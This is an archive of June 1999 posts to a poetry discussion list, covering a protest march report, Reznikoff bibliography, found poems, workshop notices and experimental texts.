"As for the lover, her/his beauty and power is a mysterious thing though may be a ploy. Their honesty is as deft as a bloodthirsty criminal on a crime spree, 'here come shake my hand, now how does it feel to have shaken the hand of a murderer?' You hate him/her and are convinced of his/her perfection. You cannot decide if he/she is from heaven, and you are the lower body, or if they are from hell, and you a creature whose superiority is being challenged. This all takes place in the frightening prison tower of your darkest dream, where the walls are high and dark and gray and everywhere there is red as an afterimage."

JIM CORY has been a staple of the Philadelphia poetry scene for over a decade and is one of the founding editors of Phildelphia's Insight-to-Riot Press, which has published the likes of Janet Mason, James Broughton and CA Conrad, among others. Jim recently edited and wrote the introduction for _Packing Up for Paradise: The Selected Poems of James Broughton_, which was published by Black Sparrow Press in 1998. He has numerous chapbooks, of which his most recent is _The Redheads_.

Come hear, see, experience, & talk with these wonderful poets.

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115. Chris Stroffolino
QUESTION (ALAN GOLDING)
Mon 7 Jun 1999

Does anybody know his email address? I tried to respond last week backchannel to him, but I think I sent to main address accidentally-- thanks in advance, chris stroffolino

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116. Chris Stroffolino
Berman Time Out Review
Mon 7 Jun 1999

I'm told there was a review of David Berman's new book, ACTUAL AIR, in last weeks "TIME OUT" mag. Does anybody have a copy of it, perhaps could

send or trade (i don't need whole mag, a xerox would be fine). Trying to track it down but think I'm too late... thanks, chris

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117. Tisa Bryant
Re: Seeing addresses
Mon 7 Jun 1999

Hi!

coattail ride....

I would like contact info on Will Alexander as well.
please give to [redacted]

Thanks!

> *Hello All,*
> *I am seeking email or regular mail addresses for:*
> *Bobbie Louise Hawkins*
> *Erica Hunt*
> *Will Alexander*
>
> *You can backchannel to me at:*
> [redacted]
>
> *Thanks you for your assistance,*
> *Kathy Lou Schultz*

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118. Christopher W. Alexander
prevallet forward
Mon 7 Jun 1999

March on the Pentagon
Saturday June 5, 1999

by Kristin Prevallet and Lisa Jarnot

On Saturday June 5th there was a rally in Washington DC to protest the ongoing US/NATO intervention in Yugoslavia. Thousands of people attended the day-long event. We thought that some of you might be interested in knowing more about what happened. There seems to have been very little news coverage of the rally and march. We were part of a caravan of six buses departing from 14th street in New York City early on Saturday morning and we arrived at the Vietnam Veterans Memorial in Washington DC at 11am. There was a rally in the park across from the memorial, during which people

gathered and several speakers made opening remarks about the current situation in Yugoslavia. The green was filled with different coalition groups opposed to the NATO military action. Some groups were made up of long-term political activists, others had come together specifically around the issue of the situation in the Balkans. People were there from all over the country. We heard that 10 buses had come in from Cleveland, and we met people from Boston, Philadelphia, and Virginia as well. There also seemed to be a large international presence at the event, including representatives from England, Greece, Korea, Turkey, Puerto Rico and Japan. By 2 pm the green was full and it was difficult to make a path through the crowd. The rally was followed by a march from the Vietnam Veterans Memorial to the Pentagon. It was hard to tell exactly how many people participated in the march, but we were somewhere in the middle of it and the crowd was impressive. (We estimate 15,000 people.) We marched past the Lincoln Memorial, across the Virginia Bridge, up the Pentagon roadway and to one side of the Pentagon building where a second rally was held. The group was loud and the messages were various -- from a band of classical Japanese drummers dancing beside the marchers, to groups of young socialists chanting slogans like "Money for schools, not for bombs," to grade school kids holding signs that read "Stop bombing my grandparents in Serbia". We contributed our own signs: "Dear IMF: Free People Not Markets"; Dear World Bank: Democracy is about people, not profits"; "NATO=DEATH"; "Clinton: Bombing Bridges into the 21st century." Other signs included: "Clinton is a war criminal"; "Madeline Snakebite"; and "Is Kosovo Clinton's Columbine?" Once at the Pentagon, about 3,000 people gathered on the lawn and listened to a number of speakers, including Amy Goodman of Pacifica Radio, Ramsey Clarke, Dave Dellinger, church leaders, and representatives of Serbian, Cuban, and Puerto Rican coalitions. There weren't any poet speakers, but we did run into fellow New York poet David Cameron, and longtime poet activist Ed Sanders who carried a sign that read "General Wesley Clark is a mass murderer".

There were several concerns that came up repeatedly during the afternoon--

1) all of the speakers agreed that just because the bombing may soon end, the war is not over; 2) it seems obvious that the true goal of the bombing was to level the region for Western occupation. (Or as Tony Blair recently said: "Let this be a turning point for southeastern Europe and the Balkans. Let this mark the point at which these countries, so often scarred by ethnic conflict and racial divides, be brought properly into the true family of European Nations. [note emphasis on "properly" and "true."]); 3)Yugoslavia will have to request massive loans from NATO countries in order to rebuild their industries and we have destroyed the infrastructure of their nationalized economic system (including a nationalized health care system). 4)the plight of refugees (both Serbian and

Kosovar) is growing. 5) there are several factions of the KLA (from far right to far left) that are increasingly difficult for NATO to keep track of. A new cycle of violence may begin as Kosovars return to the area and seek revenge on Serbians. (There's an article in the NYTime Sunday June 6th regarding this issue). 6) this is just one of a series of attacks the United States has launched in recent years for economic reasons. The situation in Iraq was handled in a similar way. 7)The bombing does not represent victory. Aside from the refugee crisis and the complete destruction of the region, the US has sparked an international conflict and its relations with two major nuclear powers, Russia and China, have deteriorated. 8) One speaker said "We are pro-Serbian but anti-Milosevic; pro-Kosovar but anti-KLA." That seemed to be the consensus among the protesters. 9) The United States never made an effort to negotiate any reasonable agreement with Milosevic and the Serbian Parliament before the bombings began. 10) Looking at the history of this conflict it becomes clear that the United States and NATO have had an interest in seeing the region divided up. Since 1991 NATO has played a key role in contributing to conflicts in the region. Germany, Austria, the United States and other NATO countries have interests in the region's resources of oil, coal, and bauxite. Germany is particularly interested in a proposed oil pipeline which would run through Serbian territory. 11) the peace movement is alive and well, but is more frequently being ignored by the media. C-SPAN was the single news source broadcasting the rally, and there was a media block on corporate news sources. ABC, CBS (Westinghouse), and NBC (General Electric) were not present. Neither the Washington Post nor the New York Times carried ANY coverage what-so-ever the following day. However, there were quite a few officials standing on the roof of Pentagon with cameras taking photographs of individuals in the crowd. Overall the rally certainly proved that a large number of Americans are opposed to the US/NATO bombing campaign and occupation. There was also a lot of anti-Clinton sentiment in the air. The thing that came as a surprise to us was the eerie media silence surrounding the event. We hope that people will forward this information to others. The international Action Center in New York is planning more events around this issue including a national day of protest set for June 26th. They have a web site at www.iacenter.org. We'd also like to encourage people to write to their representatives in congress and to Bill Clinton to voice opposition to these events in the Balkans. Clinton's address is--

William Jefferson Clinton
The White House
1600 Pennsylvania Avenue
Washington DC 20500

There are also web sites with information and addresses at www.senate.gov and www.house.gov

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119. Patrick F. Durgin
New work at Kenning website
Mon 7 Jun 1999

New work from Ray DiPalma at the Kenning website.
Also, view Jen Hofer's "Factory" -- from the out of print 2nd issue.

www.avalon.net/~kenning

Patrick F. Durgin

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120. david bromige
Obit in Motion
Mon 7 Jun 1999

I have had A M taken out and shot.

Behind the barn. While I thought he might continue to win over 5 furlongs up against other contenders of his class, and while had developed an appreciation for what remained idiosyncratic after his orthodoxizing, the weight of judgement from my fellow-trainers and vets turned out to be too heavy to oppose. It grieves me that we have little good to speak of triple crown winners or even poets laureate, but I ascribe it to the times.

I argued that not every horse is bred to run a mile and a quarter, and against the top of his contemporaries, but the stories of doping (of the judges) by M's former trainer simply would not go away.

My only regret is that I looked into his eye moments before, well.....it was the lively, moist eye of others of his breed, and spoke, it seemed, of an early promise. I would like to remind readers that the Laureate Stakes are not for every contender. Not only is the mount himself required to be lighter than horses usually are, but he must be ridden by a very lightweight jockey. There are not enough contenders with such qualifications, and I agree the rules need to be changed.

I hope I shall not be judged amiss for having taken pleasure in his desultory gait & minor orthodoxies.

db

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121. **Kevin Magee**
Re: Reznikoff
Mon 7 Jun 1999

"neglected position[s]" :

First, there is the Need (Black Sparrow Press, January 1977)
The Manner Music (Black Sparrow Press 1977)
Family Chronicle (Markus Wiener, 1988)
By the Waters of Manhattan (Markus Wiener, 1986)
Testimony: Recitative (New Directions 1965)
Holocaust (Black Sparrow Press, 1965)
By the Waters of Manhattan (New Directions, 1962)
By the Well of Living and Seeing (Black Sparrow, 1974)
Testimony, vols. 1 & 2 (Black Sparrow, 1978)
Poems 1918-1936 (Black Sparrow, 1978)
Poems 1937-1975 (Black Sparrow, 1978)
Charles Reznikoff Man and Poet, ed. Milton Hindus
(National Poetry Foundation, 1984)

This is all I've got on my bookshelf. Charles made a lot of his own books and those I suppose are all in the rare book rooms. What a wonderful website those early books would make, self-printed, handmade.

One more chain in a set of refrain retain
return to this is what it was about reading
is a basic problem a simple point that has
to be made at the beginning I saw nothing
that I should not contradict nothing gainsay
this is what I was telling you about what was
I saying that it's a relief there's no longer
anything to remember pretend it's inevitable
that the musician go mad in The Manner Music
how much does Reznikoff write himself into
the composer who burns all his manuscripts
in the park? We returned to the cafeteria.

[from "The Sin of the Book" in COMMON KNOWLEDGE,
an unpublished "hot MS?" Or cold as ashes.]

But it was Louis and not Charles a generation of poets built on among others building SoundGardens inner-referring pounding out those lexicals you can learn in a linguist here and there, the drive being toward a proto hyper-text the machines are now perfecting, though is it irony or the ironing out of accent and dialect--the same word spoken and broken many ways by many so many mouths

(National TV has had a hand here, standardizing speech, standardizing (bleaching) English)--which characterizes a lot of the groundwork done by late 70s/early 80s avant garde furthered into now, the best and the worst, is it writtenness or spokenness? Charles was an ambulator, walked New York up and down like Benjamin's Charles, Marx and Engels ghosting both, "The crowd--no subject was more entitled to the attention . . . " (p. 120) flaneur "democratically compelled"? Reznikoff was also a camera worker, and maybe its the slow rhythm of his lens which has separated him from the attention given to Zukofsky. There's not the tight jamming of words end-nerves or pristine crystalline word and syllable musical maypole and mayhem that's in "A" and the shorter poems; rather slow and long and deliberate lines a lot of times, and all the anonymous faces that rise and speak among each other, many of them workers, and they are often most often slowly, lovingly observed, overheard, without a lot of intention, commentary, interference--it's something, really, how the figures of workers and the moving crowd are allowed to be let be in their beauty, vocal and visual, maybe the kind of photography Berlau would have found had she been able to have been found, also early documentary cinema, though it was watching a film shooting textiles and textile workers by Ernie Gehr that first made me think of Reznikoff's writing as camerawork, and I asked Ernie about it during the Q & A after the show and he said yes, he'd read Reznikoff. Well, if Ernie has, why aren't we? And by we I mean anybody writing poetry and thinking about the working class, and it's all right if you weren't born there, Benjamin in that French camp spoke about the proletarianization of the Jews ("a city of labor" is what some German administrative documents have been found planning the Warsaw Ghetto), and "Ghetto" recurs among Reznikoff's words and titles, the New York Jewish Ghetto, though a waitress emerges somewhere saying "honey chile", there's all sorts of common laborers in these poems, and Testimony like Holocaust is a masterpiece of often raw archival footage. Reznikoff reads as well besides Jabes as he does Stevens, for different reasons, a neglected modernist? Or proletarian poet waiting to be found for a new generation just coming to writing and needing him now, he is needed now, sometimes it takes a long time. Has the proletariat been a prohibited content? Reznikoff can show you how to listen and to look, how to see them and film them slowly, lovingly, without hurry, or irony.

Stephen Vincent wrote:

> *In case you did not see it, there's a lovely piece in this past Sunday's NY Times about Ann Hamilton (sculptor/installation artist) that she is preparing for the United States Pavilion for this summer's Venice Biennale. She is most well known for the use of simple materials and subtle means to create large public works invested with both historical and contemporary resonance. Interestingly this piece will draw on the works and ideas of several American*

> *writers. For example, and with some curious, but perhaps wonderful irony ? given his much neglected position in 20th century writing ? the "gallery walls will be covered in a Braille translation of passages from Charles Reznikoff's 'Testimony: The United States 1885 - 1915'".*
> *It's almost sweet that a writer, so democratically compelled and pretty much ignored, will have his work risen - albeit somewhat disguised ? to a public apex in the international art world. It's probably still too much to hope that Venice will be the means by which Reznikoff will be welcomed 'back home'.*
> *The article also mentions other writers Ann Hamilton has drawn from for guidance or advice for influential sources including: Ann Carson, Susan Stewart and Ann Lauterbach. From the article's description, omens are that the piece ? called "Myein" ? will be a great one*
>
> *Stephen Vincent*

↑ Index

122. **Lawrence Upton.**

Re: found poetry

Tue 8 Jun 1999

---

are you sure it was tearing?
perhaps the corners were eaten by the M---------TH
its body stretched no doubt by all that paper

Lawrence

-----Original Message-----
From: David Baptiste Chirot <[redacted]>
Date: 04 June 1999 19:17
Subject: Re: found poetry

| two found poems--one old, one new
|
| going through a stack of old magazines for collage work and came
|across a copy of emma goldman's journal MOTHER EARTH
| through many years of moving, the cover was torn and revealed:
| OTHER EAR
|
|
| walking through a "rough neighborhood" looking for street
|materials, a sign: ANGER ZONE
|
| a favorite graffiti, written in six foot letters on a wall in the
|Winter Hill area of Somerville, MA: CRIME IS
|

| --dbc
|

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123. Lowther,John
Dina H. spelling test & Mother's Day sketch
Tue 8 Jun 1999

---

a friend of mine here in atlanta
found a piece of notebook paper
that had blown into his yard

on the back side at the top
the word "Heres' is crossed out
and below it
is written;

"I Have a picture for you."

below this are two concentric
circles (roughly circles that is)
inside the smaller is written;

"for/ you" and then there is a drawing
that might be of several people
standing together or it might be
several flowers below it says;
"for/ Mother's/ Day"

outside of this circle but inside
the larger one it says "And I Love you/
Both a bunch."
at the bottom of the page is a heart-shape
and in it is written "Love"

this is all sweet and all but it is the front
side of this page that i like the best

at thetop it says, inside of pencil-drawn
rectangles; "Dina H." and "spelling test"

in the uper right corner in another rectangle
is written; "March 30, 1979"

in another hand at the top it says "-1"

this is the text of the spelling test;

1. The was hit by an ax.

2. There are Six ducks in a box.

3. Mother Maks Cakes.

4. She looks Sad.

5. He Liks my new Socks.

6. The Sticks are big.

next to the word "liks" in #5
is written a small "e"

↑ Index

124. Bob Perelman
Re: Frost & found
Tue 8 Jun 1999

Frost: There's a couple of pages on the Frost poem in my *Marginalization of Poetry*, Chap 7. I do remember seeing Frost read the poem on TV when I was 14. No great insights: sunglare prevented him from reading the pages; Kennedy came over and stood by anxiously holding his top hat above the page as an ineffective shield; then Frost recited "The Gift Outright."

Found: Most the words in *7 Works* come from other texts. It's now way out of print, but about half will be reprinted in *Ten to One*, this fall.

I can't remember if Ted Berrigan's white-out novel, *Clear the Range*, has been mentioned. It's a pure example of finding a text inside another.

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125. Robin Tremblay-McGaw
Call for Submissions--Class & Poetics
Tue 8 Jun 1999

Call for Submissions to HOW2's Forum on Class and Poetics

Visit HOW2 at:
http://www.departments.bucknell.edu/stadler_center/how2/index.html

Thanks to the efforts of feminist poets, critics, and editors, it is now
> possible to identify a discourse--both scholarly and creative--of gender and poetics. In the 1980s, journals such as HOW(ever) put the spotlight on these issues, particularly related to innovative or experimental > practices and how these intersected with issues of publication, erasure, > and canon formation.
>
> A decade later, we find ourselves trying to define a vocabulary for
> addressing complex issues of class in the formation of an innovative poetics.

As Kathy Lou Schultz asked in her Tripwire (Issue 1, Fall 1998) essay, "What's a working class poetic, and where could I find one?" How do we make present the _absence_ of class in discussions of gender and the poetics of innovation? Where are the intersections of race in
> discussions of class? How are these forces fused and CON-fused?
>
> How do/can we picture/trace working class issues in formally innovative
> ways? What do the circumstances of literary production--surrounding
> writers and the writing produced--have to do with one another?

Submissions should be emailed to: [redacted] by July 7th and be no longer than 2 paragraphs. We will select and edit responses.

Editors: Kathy Lou Schultz and Robin Tremblay-McGaw

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126. Poetics List Administration
Moore and query / Balestrieri
Tue 8 Jun 1999

---

this came to the administrative address. Chris

From: "Peter Balestrieri" <[redacted]>
Date: 6/7/99, 12:07 PM -0700

Hi,
Does anybody know who said that she called her writing poetry because
she couldn't think of what else to call it? Was it Marianne Moore?
Thanks,
Pete

↑ Index

127. Jeffrey Jullich
Dina H. spelling test & Mother's Day sketch -Reply
Tue 8 Jun 1999

> *"Lowther,John" <[redacted]>*
> *06/08/99 10:28am >>>*
> *a friend of mine here in atlanta*
> *found a piece of notebook paper*
> *that had blown into his yard*
>
> *on the back side at the top*
> *the word "Heres' is crossed out*

> *and below it*
> *is written;*
>
> *"I Have a picture for you."*
>
> *below this are two concentric*
> *circles (roughly circles that is)*
> *inside the smaller is written;*
>
> *"for/ you" and then there is a drawing*
> *that might be of several people*
> *standing together or it might be*
> *several flowers below it says;*
> *"for/ Mother's/ Day"*
>
> *outside of this circle but inside*
> *the larger one it says "And I Love you/*
> *Both a bunch."*
> *at the bottom of the page is a heart-shape*
> *and in it is written "Love"*
>
> *this is all sweet and all but it is the front*
> *side of this page that i like the best*
>
> *at thetop it says, inside of pencil-drawn*
> *rectangles; "Dina H." and "spelling test"*
>
> *in the uper right corner in another rectangle*
> *is written; "March 30, 1979"*
>
> *in another hand at the top it says "-1"*
>
> *this is the text of the spelling test;*
>
> *1. The was hit by an ax.*
>
> *2. There are Six ducks in a box.*
>
> *3. Mother Maks Cakes.*
>
> *4. She looks Sad.*
>
> *5. He Liks my new Socks.*
>
> *6. The Sticks are big.*

>next to the word "liks" in #5
>is written a small "e"

I was wondering what becam of that! I looked everywher for it. The breez must have carried it away on the last day of school. Could you pleas snail mail it back in my direction? Thanks.

Dina

↑ Index

128. Daniel Kane
Hear Lisa Jarnot read "Emperor Wu"
Tue 8 Jun 1999

Yes, this is possible if you have 5 minutes to download this terrific poem as a WAV file. Go to

http://www.writenet.org/poetschat/poetschat_ljarnot.html

--daniel

↑ Index

129. Mark Melnicove
Re: Frost & found
Tue 8 Jun 1999

Actually it was Johnson, after taking a constitutionally-required <grin> glance in Kennedy's direction, who stood up to help Frost, though most people seem to remember that it was Kennedy. And yes, it was ineffectual (an omen of things to come?...) Frost's cry for help, "I'm not having a good light here at all," is one of the most poignant public declarations, with its unintended subtextual meanings, ever uttered by a poet, I do believe. Mark Melnicove

> *Frost: There's a couple of pages on the Frost poem in my *Marginalization of Poetry*, Chap 7. I do remember seeing Frost read the poem on TV when I was 14. No great insights: sunglare prevented him from reading the pages; Kennedy came over and stood by anxiously holding his top hat above the page as an ineffective shield; then Frost recited "The Gift Outright."*
>
> *Found: Most the words in *7 Works* come from other texts. It's now way out of print, but about half will be reprinted in *Ten to One*, this fall.*
>
> *I can't remember if Ted Berrigan's white-out novel, *Clear the Range*, has been mentioned. It's a pure example of finding a text inside another.*

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130. Mark Melnicove
Re: Reznikoff
Tue 8 Jun 1999

Re: Reznikoff bibliography
SAGETRIEB, vol. 11, no. 1/2, contains "The Community of Memory: A Reznikoff Family Chronicle," by M.A. Syverson (40+ pages) and "Facing the Fifties: A New Reznikoff Manuscript," by Robert Franciosi (10 pages).
SAGRETRIEB Vol. 13, no. 1/2 was a special Charles Reznikoff issue, almost entirely devoted to his work.

Mark Melnicove
National Poetry Foundation

> *"neglected position[s]" :*
>
> *First, there is the Need (Black Sparrow Press, January 1977)*
> *The Manner Music (Black Sparrow Press 1977)*
> *Family Chronicle (Markus Wiener, 1988)*
> *By the Waters of Manhattan (Markus Wiener, 1986)*
> *Testimony: Recitative (New Directions 1965)*
> *Holocaust (Black Sparrow Press, 1965)*
> *By the Waters of Manhattan (New Directions, 1962)*
> *By the Well of Living and Seeing (Black Sparrow, 1974)*
> *Testimony, vols. 1 & 2 (Black Sparrow, 1978)*
> *Poems 1918-1936 (Black Sparrow, 1978)*
> *Poems 1937-1975 (Black Sparrow, 1978)*
> *Charles Reznikoff Man and Poet, ed. Milton Hindus*
> *(National Poetry Foundation, 1984)*
>
> *This is all I've got on my bookshelf. Charles made a lot of his own books and*
> *those I suppose are all in the rare book rooms. What a wonderful website*
> *those*
> *early books would make, self-printed, handmade.*
>
> *One more chain in a set of refrain retain*
> *return to this is what it was about reading*
> *is a basic problem a simple point that has*
> *to be made at the beginning I saw nothing*
> *that I should not contradict nothing gainsay*
> *this is what I was telling you about what was*
> *I saying that it's a relief there's no longer*
> *anything to remember pretend it's inevitable*
> *that the musician go mad in The Manner Music*
> *how much does Reznikoff write himself into*
> *the composer who burns all his manuscripts*
> *in the park? We returned to the cafeteria.*
>
> *[from "The Sin of the Book" in COMMON KNOWLEDGE,*
> *an unpublished "hot MS?" Or cold as ashes.]*
>
> *But it was Louis and not Charles a generation of poets built on among others*
> *building SoundGardens inner-referring pounding out those lexicals you can*
> *learn*
> *in a linguist here and there, the drive being toward a proto hyper-text the*
> *machines are now perfecting, though is it irony or the ironing out of*
> *accent and*
> *dialect--the same word spoken and broken many ways by many so many mouths*
> *(National TV has had a hand here, standardizing speech, standardizing*

> *(bleaching) English)--which characterizes a lot of the groundwork done by late 70s/early 80s avant garde furthered into now, the best and the worst, is it writtenness or spokenness? Charles was an ambulator, walked New York up and down like Benjamin's Charles, Marx and Engels ghosting both, "The crowd--no subject was more entitled to the attention . . . " (p. 120) flaneur "democratically compelled"? Reznikoff was also a camera worker, and maybe its the slow rhythm of his lens which has separated him from the attention given to Zukofsky. There's not the tight jamming of words end-nerves or pristine crystalline word and syllable musical maypole and mayhem that's in "A" and the shorter poems; rather slow and long and deliberate lines a lot of times, and all the anonymous faces that rise and speak among each other, many of them workers, and they are often most often slowly, lovingly observed, overheard, without a lot of intention, commentary, interference--it's something, really, how the figures of workers and the moving crowd are allowed to be let be in their beauty, vocal and visual, maybe the kind of photography Berlau would have found had she been able to have been found, also early documentary cinema, though it was watching a film shooting textiles and textile workers by Ernie Gehr that first made me think of Reznikoff's writing as camerawork, and I asked Ernie about it during the Q & A after the show and he said yes, he'd read Reznikoff. Well, if Ernie has, why aren't we? And by we I mean anybody writing poetry and thinking about the working class, and it's all right if you weren't born there, Benjamin in that French camp spoke about the proletarianization of the Jews ("a city of labor" is what some German administrative documents have been found planning the Warsaw Ghetto), and "Ghetto" recurs among Reznikoff's words and titles, the New York Jewish Ghetto, though a waitress emerges somewhere saying "honey chile", there's all sorts of common laborers in these poems, and Testimony like Holocaust is a masterpiece of often raw archival footage. Reznikoff reads as well besides Jabes as he does Stevens, for different reasons, a neglected modernist? Or proletarian poet waiting to be found for a new generation just coming to writing and needing him now, he is needed now, sometimes it takes a long time. Has the proletariat been a prohibited content? Reznikoff can show you how to listen and to look, how to see them and film them slowly, lovingly, without hurry, or irony.*
>
> *Stephen Vincent wrote:*
>
> *In case you did not see it, there's a lovely piece in this past Sunday's NY Times about Ann Hamilton (sculptor/installation artist) that she is*

> *preparing*
> *for the United States Pavilion for this summer's Venice Biennale. She is most*
> *well known for the use of simple materials and subtle means to create large public works invested with both historical and contemporary resonance. Interestingly this piece will draw on the works and ideas of several American*
> *writers. For example, and with some curious, but perhaps wonderful irony ? given his much neglected position in 20th century writing ? the "gallery walls will be covered in a Braille translation of passages from Charles Reznikoff's 'Testimony: The United States 1885 - 1915'".*
> *It's almost sweet that a writer, so democratically compelled and pretty much ignored, will have his work risen - albeit somewhat disguised ? to a public apex in the international art world. It's probably still too much to hope that Venice will be the means by which Reznikoff will be welcomed 'back home'.*
> *The article also mentions other writers Ann Hamilton has drawn from for guidance or advice for influential sources including: Ann Carson, Susan Stewart and Ann Lauterbach. From the article's description, omens are that the piece ? called "Myein" ? will be a great one*
>
> *Stephen Vincent*

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131. Dodie Bellamy
catsitting in SF
Tue 8 Jun 1999

Hi--

Kevin and I will be out of town for a week beginning this Sunday (the 13th). I know it's a little late to ask--but does anybody know anybody who'd like to stay in our apartment in San Francisco's South of Market district and feed two demanding cats?

Thanks.

Dodie

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132. Stephen Ellis
Re: the flip of context
Tue 8 Jun 1999

But then, accordingly, anticipation (of audience) seems "not uncritical" and "provocative" in itself - but of what "order", esp taken in terms of actual responses to the provocative anticipation any "other" might be sd to be

approached with, before the fact? I mean is there really audience "present", or need for a speculated one, in order to respond to its supposed & future tensions, understandings & releases in the work one's doing in the present? Not that the present can't be spawned out of the speculative, or spent unfurling its inapparent terms, but,

the thing abt an anticipated audience continues to throw me elsewise than mirrorward, seeing there less than enough of far too much to know very much about it. Them. Us. Or,

> *From: "Patrick F. Durgin" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: the flip of context*
> *Date: Fri, 4 Jun 1999 20:55:21 -0500*
>
> *Not intending to be glib, let me propose that proposing such questions is*
> *just the sort of thing I was refering to: necessarily abstract, you see.*
> *Although the hall of mirrors is apt, Jordan used the standing across the*
> *crater analogy, or rather proposed it. I picked it up, in ensemble.*
> *Therefore, I think your question "Who is the 'efficacy' for?" is a*
> *fascinating and difficult one. For instance, if this whole little*
> *speculative tiff came out of Notley's comments in the Combo 3 interview, as*
> *I recall (?), an interesting thing to do would be to consider the*
> *poetician's sense of anticipated audience, while she or he proceeds to*
> *fashion her or his argument so as to issue most freely and provocatively*
> *through this audience. Of course, the audience is never uncritical, and*
> *this is where cross-propositions come into play and generate "context" --*
> *there is no REASON such a context should thereby cordon itself. Despite a*
> *lot of younger, experimental writers' notions that it inevitably does.*
> *This is my sense, anyhow.*
> *Patrick*
>
> *At 04:45 AM 6/4/99 PDT, Stephen Ellis wrote:*
> *Reading the Davis/Durgin correspondence, many tangential and rather less*
> *abstract questions come to "mind" (if that's not being perhaps nominally*
> *overly optimistic ...), like*
> *Efficacy in terms of what?*
> *What are the propositions?*
> *What do they propose in terms of politics?*
> *What's to be effected?*
> *How does the effected effect effect anything political, in what "sphere"?*
> *Who is the "efficacy" for?*
> *To whom are "proposals" to be addressed?*
> *Is it all just in one big self-reflective house of mirrors &/or cards*
> *that*
> *the whole argument "takes place"? (Ah ... the lovely and familiar "it"*

motif
again ...) As in fact, what IS

"the argument"? A parsing of consciousness itself, so as to make its otherwise smothering protoplasmic theosophic "body" look to be more the familiar bite-sized sequence of pieces we all might more easily accustom ourselves to? Or, in terms of sheer etiquette

at the level of more alarmingly "rapid" shifts of consciousness, may I ask,
what do you do when you can't remember the word for "rug"?

SE

From: "Patrick F. Durgin" <[redacted]>
Reply-To: UB Poetics discussion group
<[redacted]>
To: [redacted]
Subject: Re: the flux of context
Date: Wed, 2 Jun 1999 22:47:40 -0500

At 04:56 PM 6/1/99 -0400, Jordan Davis wrote:

But what is so impossible to think term
about "poetry"?
.. . . it's just games, sets, relations.

Okay, but without proposals, I think I meant, and proposals are our
business, our wares, such relations are unlike poetry-bytes.
Cross-propositions might be a preferable term for "games, sets, relations."
Poetry signifies too many or too little, depending on the company one keeps.

In re: "efficacy" I think we are standing across
the crater from oeach ether. I am acting as inaudible
interpreter of rumblings across generational strata.
We are hearing "why no politics." I would rather not
say "but yes politics!" I would rather say "what means
why no politics." I have a quiet feeling that this is
another chance for generational call and response
invite to Freuddance. We'll see!

Another proposal may be to carefully elaborate the divide by means

> *of*
> *registering efficacy in light of, you nailed it, the suck of context.*
> *You*
> *one nifty public correspondant. Don't be so quiet about it.*
> *Patrick*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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133. Stephen Ellis
Re: fewer mind
Tue 8 Jun 1999

Solving for x = "finding out the deal", meaning I presume, there's meaning "in the air"? But to what extent can this be held to several sheets of paper? Doesn't it simply "lift" after about ten minutes? And in terms of this problem, what is, and is the function of, gravity? It sure doesn't seem the lead pipe cinch upon wch the earth, so they said as we were told, was centered in 1963. What happens? Or 'happened', to put it in human lifetime terms?

SE

> *From: Jordan Davis <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: fewer mind*
> *Date: Fri, 4 Jun 1999 16:45:03 -0400*
>
> *Efficacy in terms of what?*
>
> *Solve for x.*
>
> *What are the propositions?*
>
> *Poems, or, texts. That which is presented as a poem, or as poetry.*
>
> *What do they propose in terms of politics?*
>
> *Investigation, argument, engagement, sabotage, bells, whistles.*

What's to be effected?

Hey that not standard. You mean what will it do? It will do the we are watching. Sort of a strawberry statement.

How does the effected effect effect anything political, in what "sphere"?

Hey that not standard. Colonial vocab, ha? How does anything have an effect,
reiteration. Effect is usually accidental, a mistake, soemthing happens. You
think a while, you rest,
you have the thought, or you don't.

Who is the "efficacy" for?

Whomever wants to find out the deal.

To whom are "proposals" to be addressed?

Whomever is dealing. Plus the home audience.

Is it all just in one big self-reflective house of mirrors &/or cards that
the whole argument "takes place"? (Ah ... the lovely and familiar "it" motif
again ...)

Only if you don't look at IT.

As in fact, what IS

"the argument"? A parsing of consciousness itself, so as to make its otherwise smothering protoplasmic theosophic "body" look to be more the familiar bite-sized sequence of pieces we all might more easily accustom ourselves to? Or, in terms of sheer etiquette

Please no bite-sized sequence of pieces of my "body". Otherwise sounds good sounds like Whalen. Instead of follow the money or follow the paper follow the mind. But also follow the paper follow the money.

at the level of more alarmingly "rapid" shifts of consciousness, may I ask,
what do you do when you can't remember the word for "rug"?

> *So far I enjoy that, today I couldn't remember "promiscuous." Ron Padgett's essay on mixing up "grapefruit" with "pineapple". Or when you call the rectangle on the floor a "toupee." I guess read some Oliver Sacks?*
>
> *Hope you're well,*
> *Jordan*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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134. Alan Sondheim

Budi: Fragment

Tue 8 Jun 1999

> .<

Budi: Fragment

Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:
  Bud
You take Budi.
It's already open.
You already have that!
  Bud
Wet Leaf Thing and Pnk Flesh
You drop Budi.
You Do SwaLo Budi Flesh-Tungu
You Do Thik Tungu fissure in sWole Throte

          Do Thik Pnk Tungu sWole Throte Nikkkukkk
You say, "I do think thnkkk that"
                Thikkk Pnkkk Tungu

        thIkku sWole gLans tuuuuuuuuuuuuuunGUuuuu
tHuku
You say, "   I am do Pnkkk Tungu"
        llllast tYme my Nikkkukkkko to goDbyoo Nu
Nikuko iS trU sWole gLans glAss

_____

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135. Dodie Bellamy
SF summer prose workshop
Wed 9 Jun 1999

I'll be leading a 10-week private *prose* workshop starting in a couple of weeks--probably the only private workshop I'll have time for this year. There's still room for one or two people. Cheap.

Backchannel for details.

Dodie

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136. Kevin Magee
Re: OBIT IN MOTION
Wed 9 Jun 1999

Out in the swamp they made great ceremony over the mule. They mocked everything human in death. Starks led off with a great eulogy on our departed citizen, our most distinguished citizen and the grief he left behind him, and the people loved the speech. It made him more solid than building the schoolhouse had done. He stood on the distended belly of the mule for a platform and made gestures. When he stepped down, they hoisted Sam up and he talked about the mule as a school teacher first. Then he set his hat like John Pearson and imitated his preaching. He spoke of the joys of mule-heaven to which the dear brother had departed this valley of sorrow; the mule-angels flying around; the miles of green corn and cool water, a pasture of pure bran with a river of molasses running through it; and most glorious of all, No Matt Bonner with plow lines and halters to come in and corrupt. Up there, mule-angels would have people to ride on and from his place beside the glittering throne, the dear departed brother would look down into hell and see the devil plowing Matt Bonner all day long in a hell-hot sun and laying the raw-hide to his back.

from Zora Neale Hurston, Their Eyes Were Watching God, p.57

COMBUNCTION

Run off sure enough, depend on you
